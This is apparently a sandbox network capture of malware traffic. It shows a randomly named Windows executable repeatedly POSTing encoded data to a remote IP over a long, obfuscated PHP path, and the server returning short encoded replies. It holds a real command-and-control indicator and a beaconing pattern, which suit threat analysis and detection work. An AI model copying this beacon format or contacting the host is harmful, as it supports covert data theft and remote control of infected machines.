Jan 3, 2025 18:27:16.852417946 CET	324	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:27:16 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 1d 24 13 31 05 2e 1e 29 2f 0d 58 31 30 32 01 21 23 27 04 2e 30 0f 1b 21 5a 39 1c 25 5d 30 57 28 04 2d 19 2b 0a 3e 0e 37 3e 21 56 3f 1a 28 5d 03 10 39 5d 28 2e 2b 11 3e 10 03 15 2d 34 2c 02 30 0e 3c 5b 2a 33 2d 13 32 2f 3d 0c 21 2e 2c 0b 28 20 21 1d 26 2b 3b 03 2b 09 2b 5a 24 3d 20 54 0b 17 27 55 33 20 0d 13 26 28 2e 05 3d 24 20 5d 33 3a 03 53 22 2c 0c 53 20 17 01 07 38 30 2a 0e 30 3b 21 54 3e 2e 24 0e 25 14 31 02 33 2b 2e 5c 23 0f 28 55 0d 34 57 50 Data Ascii: $1.)/X102!#'.0!Z9%]0W(-+>7>!V?(]9](.+>-4,0<[3-2/=!.,( !&+;++Z$= T'U3 &(.=$ ]3:S",S 800;!T>.$%13+.\#(U4WP
Jan 3, 2025 18:27:16.852859020 CET	315	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 384 Expect: 100-continue
Jan 3, 2025 18:27:17.070328951 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:27:17.070477009 CET	384	OUT	Data Raw: 5e 57 5b 5c 58 5c 50 51 54 5b 59 5a 5b 50 57 5b 5f 55 5a 5c 52 51 50 46 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: ^W[\X\PQT[YZ[PW[_UZ\RQPF_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU%<>1"/2#>]>X$"1Y"5=V# [$9,' W?9#Y'$X.
Jan 3, 2025 18:27:17.293036938 CET	324	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:27:16 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 1d 27 04 26 3b 32 10 3e 59 23 5a 32 30 3e 07 22 30 24 5f 2f 09 2a 0b 21 2c 04 01 31 15 3c 57 3c 04 2e 40 28 1d 0f 1f 23 2e 3a 0a 3f 1a 28 5d 03 10 39 11 3f 13 28 02 3e 3e 07 5e 2d 37 0e 05 27 51 28 1f 2b 33 0f 54 27 3c 2e 53 35 2d 3b 1e 2a 30 39 58 27 05 3c 14 2b 56 37 10 30 07 20 54 0b 17 24 0f 33 09 20 06 26 16 00 00 28 37 28 58 26 2a 2d 50 22 12 2a 19 34 39 3f 03 3b 0e 3a 0a 30 2b 36 0a 29 58 2b 1d 31 3a 25 00 30 3b 2e 5c 23 0f 28 55 0d 34 57 50 Data Ascii: '&;2>Y#Z20>"0$_/!,1<W<.@(#.:?(]9?(>>^-7'Q(+3T'<.S5-;09X'<+V70 T$3 &(7(X&-P"49?;:0+6)X+1:%0;.\#(U4WP
Jan 3, 2025 18:27:17.334528923 CET	316	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 1452 Expect: 100-continue
Jan 3, 2025 18:27:17.552088976 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:27:17.552213907 CET	1452	OUT	Data Raw: 5b 53 5e 59 58 59 50 5c 54 5b 59 5a 5b 55 57 5f 5f 5c 5a 5a 52 52 50 49 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: [S^YXYP\T[YZ[UW__\ZZRRPI_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU%(X!6:1?#>][07&1?5$-V77'<@'<?9#Y'$X.)
Jan 3, 2025 18:27:17.941389084 CET	324	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:27:17 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 1d 24 58 26 5d 2a 5d 2a 06 30 00 26 55 21 13 21 0e 3c 59 2f 20 07 1c 22 3c 26 00 25 2b 20 55 2b 13 29 1c 29 30 32 0e 37 58 3d 1f 29 20 28 5d 03 10 39 13 3c 04 37 5c 2a 58 39 5f 2c 27 30 03 24 09 3b 03 2a 0a 3d 54 25 2f 25 0c 22 3d 20 0f 2a 0d 0f 1d 27 3b 3b 04 3f 09 20 03 27 3d 20 54 0b 17 24 0f 27 1e 20 06 26 06 07 5a 3d 09 33 03 30 3a 31 57 23 2c 35 08 22 29 38 5d 2c 23 25 1f 27 38 3d 57 29 2e 28 0c 25 04 0b 00 27 01 2e 5c 23 0f 28 55 0d 34 57 50 Data Ascii: $X&]]0&U!!<Y/ "<&%+ U+))027X=) (]9<7\X9_,'0$;=T%/%"= *';;? '= T$' &Z=30:1W#,5")8],#%'8=W).(%'.\#(U4WP

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	61234	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:27:16.489058018 CET	316	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2576 Expect: 100-continue
Jan 3, 2025 18:27:16.846556902 CET	2576	OUT	Data Raw: 5e 50 5e 51 5d 5c 50 59 54 5b 59 5a 5b 56 57 5b 5f 54 5a 55 52 57 50 40 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: ^P^Q]\PYT[YZ[VW[_TZURWP@_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU&A(-)_"*#&,+)(6Y%4-X'?1S6948<['$0Y,W)9#Y'$X.%
Jan 3, 2025 18:27:17.195885897 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:27:17.335419893 CET	151	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:27:17 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 3f 55 5d 54 Data Ascii: ?U]T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	61235	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:27:17.553047895 CET	316	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2576 Expect: 100-continue
Jan 3, 2025 18:27:17.909079075 CET	2576	OUT	Data Raw: 5b 55 5e 51 58 57 55 5b 54 5b 59 5a 5b 55 57 5d 5f 54 5a 5b 52 51 50 40 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: [U^QXWU[T[YZ[UW]_TZ[RQP@_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU&+..!:&<8E)(.3'5\2?Q6* ; $98'?/?#Y'$X.)
Jan 3, 2025 18:27:18.231653929 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:27:18.362765074 CET	151	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:27:18 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 3f 55 5d 54 Data Ascii: ?U]T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	61236	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:27:18.705390930 CET	316	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2568 Expect: 100-continue
Jan 3, 2025 18:27:19.049592018 CET	2568	OUT	Data Raw: 5e 57 5b 5d 5d 5e 50 51 54 5b 59 5a 5b 57 57 59 5f 5c 5a 58 52 51 50 44 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: ^W[]]^PQT[YZ[WWY_\ZXRQPD_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU%<*" U2<'(8607%\&%V!4-!+?39C$?(R?#Y'$X.)
Jan 3, 2025 18:27:19.413558960 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:27:19.552155018 CET	151	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:27:19 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 3f 55 5d 54 Data Ascii: ?U]T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	61237	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:27:19.775408983 CET	340	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 18:27:20.155221939 CET	2576	OUT	Data Raw: 5b 56 5e 51 58 56 50 5a 54 5b 59 5a 5b 5f 57 53 5f 56 5a 59 52 57 50 45 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: [V^QXVPZT[YZ[_WS_VZYRWPE_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU%<>&!),2;)+=0$*2&57)W784X$<D&,;+9#Y'$X.
Jan 3, 2025 18:27:20.467248917 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:27:20.594777107 CET	207	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:27:20 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3f 55 5d 54 Data Ascii: ?U]T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	61238	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:27:20.975971937 CET	340	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 18:27:21.330811977 CET	2576	OUT	Data Raw: 5e 55 5b 5c 58 59 55 58 54 5b 59 5a 5b 5f 57 5a 5f 57 5a 54 52 53 50 47 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: ^U[\XYUXT[YZ[_WZ_WZTRSPG_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU&+5,%<%$&)"V ([39,D0S+9#Y'$X.
Jan 3, 2025 18:27:21.661705971 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:27:21.791558027 CET	207	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:27:21 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3f 55 5d 54 Data Ascii: ?U]T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	61241	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:27:22.961816072 CET	340	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2052 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 18:27:23.315226078 CET	2052	OUT	Data Raw: 5b 5c 5b 5a 58 5a 55 5b 54 5b 59 5a 5b 5e 57 5a 5f 55 5a 5e 52 50 50 48 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: [\[ZXZU[T[YZ[^WZ_UZ^RPPH_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU%+"#);1,()%'$9\%,!W"&78,Y'9$Y,R?#Y'$X.
Jan 3, 2025 18:27:23.664324045 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:27:23.799797058 CET	380	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:27:23 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 0d 1d 24 10 32 3b 07 01 3d 3c 2f 5b 25 0d 21 1c 36 20 0a 17 2f 0e 32 45 21 02 22 03 26 28 2c 1e 28 3d 03 1c 2b 33 2e 09 34 2e 0b 1f 2b 1a 28 5d 03 10 3a 00 3d 2d 0d 1f 29 00 25 5e 3a 09 09 5f 33 37 3f 05 3e 0a 3d 56 31 02 3e 52 36 3e 2f 53 28 23 3a 02 24 05 38 5e 3c 0e 3f 12 27 17 20 54 0b 17 24 09 27 56 33 10 26 2b 25 11 29 51 3f 03 33 39 2d 1a 36 02 0c 1b 37 29 23 03 3b 1e 22 0a 25 38 07 52 2a 58 2c 0b 26 3a 3e 1e 26 2b 2e 5c 23 0f 28 55 0d 34 57 50 Data Ascii: $2;=</[%!6 /2E!"&(,(=+3.4.+(]:=-)%^:_37?>=V1>R6>/S(#:$8^<?' T$'V3&+%)Q?39-67)#;"%8R*X,&:>&+.\#(U4WP

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	61243	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:27:26.066565990 CET	340	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 18:27:26.426410913 CET	2576	OUT	Data Raw: 5e 57 5b 5d 5d 59 55 58 54 5b 59 5a 5b 51 57 5f 5f 54 5a 55 52 5d 50 49 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: ^W[]]YUXT[YZ[QW__TZUR]PI_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU&B).!\023>].Z$'=[&Y)"B>#+,$) E'+)#Y'$X.9
Jan 3, 2025 18:27:26.747186899 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:27:26.875880957 CET	207	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:27:26 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3f 55 5d 54 Data Ascii: ?U]T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	61244	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:27:27.362986088 CET	340	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 18:27:27.721470118 CET	2576	OUT	Data Raw: 5e 51 5b 5d 58 59 50 59 54 5b 59 5a 5b 54 57 53 5f 54 5a 5f 52 57 50 49 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: ^Q[]XYPYT[YZ[TWS_TZ_RWPI_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU&C<.)!*8T$< =8.^%4%[25544;+0$/;?9#Y'$X.-
Jan 3, 2025 18:27:28.047082901 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:27:28.176275015 CET	207	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:27:27 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3f 55 5d 54 Data Ascii: ?U]T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	61245	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:27:28.712344885 CET	340	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2564 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	61246	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:27:28.823260069 CET	340	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2052 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 18:27:29.174546003 CET	2052	OUT	Data Raw: 5e 57 5e 59 5d 5e 50 5a 54 5b 59 5a 5b 52 57 5a 5f 54 5a 54 52 52 50 44 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: ^W^Y]^PZT[YZ[RWZ_TZTRRPD_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU&@(>>": % =("[3&&"$!(7$_+&,#))#Y'$X.5
Jan 3, 2025 18:27:29.508697987 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:27:29.638132095 CET	380	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:27:29 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 0d 1d 27 04 26 02 2a 58 28 2f 20 01 26 55 29 5b 21 30 28 59 2f 0e 04 06 21 2c 0f 59 26 3b 23 0c 3c 3d 3d 18 28 0d 0f 1f 34 00 31 56 28 1a 28 5d 03 10 39 59 28 2d 0d 58 29 3e 31 15 3a 19 02 04 25 27 2b 04 2b 33 32 09 25 2c 25 0f 21 03 23 1e 28 30 32 00 24 3b 01 05 28 33 30 01 33 17 20 54 0b 17 24 08 33 23 3b 13 32 3b 39 5c 29 27 38 11 24 3a 0b 51 35 3c 04 51 23 17 23 02 2c 1e 35 53 24 38 3e 0b 3d 07 2b 53 26 03 32 1e 24 11 2e 5c 23 0f 28 55 0d 34 57 50 Data Ascii: '&*X(/ &U)[!0(Y/!,Y&;#<==(41V((]9Y(-X)>1:%'++32%,%!#(02$;(303 T$3#;2;9\)'8$:Q5<Q##,5S$8>=+S&2$.\#(U4WP

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	61247	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:27:29.150423050 CET	340	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 18:27:29.502727032 CET	2576	OUT	Data Raw: 5b 50 5e 5e 58 5f 50 5f 54 5b 59 5a 5b 5f 57 5b 5f 56 5a 58 52 54 50 41 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: [P^^X_P_T[YZ[_W[_VZXRTPA_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU%)-1^6:$2< D((*X04-]2"!4!((\3_ A30V)9#Y'$X.
Jan 3, 2025 18:27:29.766931057 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:27:29.896819115 CET	207	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:27:29 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3f 55 5d 54 Data Ascii: ?U]T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	61248	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:27:30.146877050 CET	316	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2576 Expect: 100-continue
